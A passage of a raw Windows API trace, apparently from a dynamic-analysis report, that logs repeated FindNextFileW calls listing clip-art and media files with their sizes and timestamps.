hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00685_.WMF", cAlternateFileName="")) returned 1 [0218.972] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00687_.WMF", cAlternateFileName="")) returned 1 [0218.974] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00688_.WMF", cAlternateFileName="")) returned 1 [0218.974] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bba, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00693_.WMF", cAlternateFileName="")) returned 1 [0218.974] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01013_.WMF", cAlternateFileName="")) returned 1 [0218.975] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01015_.WMF", cAlternateFileName="")) returned 1 [0218.975] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01058_.WMF", cAlternateFileName="")) returned 1 [0218.975] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01065_.WMF", cAlternateFileName="")) returned 1 [0218.975] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01080_.WMF", cAlternateFileName="")) returned 1 [0218.975] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01242_.WMF", cAlternateFileName="")) returned 1 [0218.975] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01291_.WMF", cAlternateFileName="")) returned 1 [0218.975] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1780, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01329_.WMF", cAlternateFileName="")) returned 1 [0218.976] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1746, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01461_.WMF", cAlternateFileName="")) returned 1 [0218.976] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c80, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01618_.WMF", cAlternateFileName="")) returned 1 [0218.976] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1526, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01759_.WMF", cAlternateFileName="")) returned 1 [0218.976] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01875_.WMF", cAlternateFileName="")) returned 1 [0218.976] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6852, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01923_.WMF", cAlternateFileName="")) returned 1 [0218.976] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa90, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02155_.WMF", cAlternateFileName="")) returned 1 [0218.976] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02166_.WMF", cAlternateFileName="")) returned 1 [0218.977] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1efc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02282_.WMF", cAlternateFileName="")) returned 1 [0218.977] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02298_.WMF", cAlternateFileName="")) returned 1 [0218.977] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02312_.WMF", cAlternateFileName="")) returned 1 [0218.977] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02313_.WMF", cAlternateFileName="")) returned 1 [0218.977] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00005_.WMF", cAlternateFileName="")) returned 1 [0218.977] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5664, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00114_.WMF", cAlternateFileName="")) returned 1 [0218.977] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00116_.WMF", cAlternateFileName="")) returned 1 [0218.978] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00172_.WMF", cAlternateFileName="")) returned 1 [0218.978] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00426_.WMF", cAlternateFileName="")) returned 1 [0218.978] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HTECH_01.MID", cAlternateFileName="")) returned 1 [0218.978] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00046_.WMF", cAlternateFileName="")) returned 1 [0218.978] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00118_.WMF", cAlternateFileName="")) returned 1 [0218.978] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00177_.WMF", cAlternateFileName="")) returned 1 [0218.978] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00204_.WMF", cAlternateFileName="")) returned 1 [0218.979] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2bb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00233_.WMF", cAlternateFileName="")) returned 1 [0218.979] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe00f20a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe00f20a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00343_.WMF", cAlternateFileName="")) returned 1 [0218.979] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe00f20a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe00f20a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00346_.WMF", cAlternateFileName="")) returned 1 [0218.981] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe00f20a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe00f20a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00351_.WMF", cAlternateFileName="")) returned 1 [0218.981] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe00f20a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe00f20a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00557_.WMF", cAlternateFileName="")) returned 1 [0218.981] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe00f20a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe00f20a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe00f20a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00915_.WMF", cAlternateFileName="")) returned 1 [0218.981] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe00f20a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00919_.WMF", cAlternateFileName="")) returned 1 [0218.981] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe00f20a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe00f20a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00956_.WMF", cAlternateFileName="")) returned 1 [0218.981] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe00f20a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00957_.WMF", cAlternateFileName="")) returned 1 [0218.981] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe00f20a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDST_01.MID", cAlternateFileName="")) returned 1 [0218.982] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe00f20a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0075478.GIF", cAlternateFileName="")) returned 1 [0218.982] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2606, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086384.WMF", cAlternateFileName="")) returned 1 [0218.982] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x257c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086420.WMF", cAlternateFileName="")) returned 1 [0218.982] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, 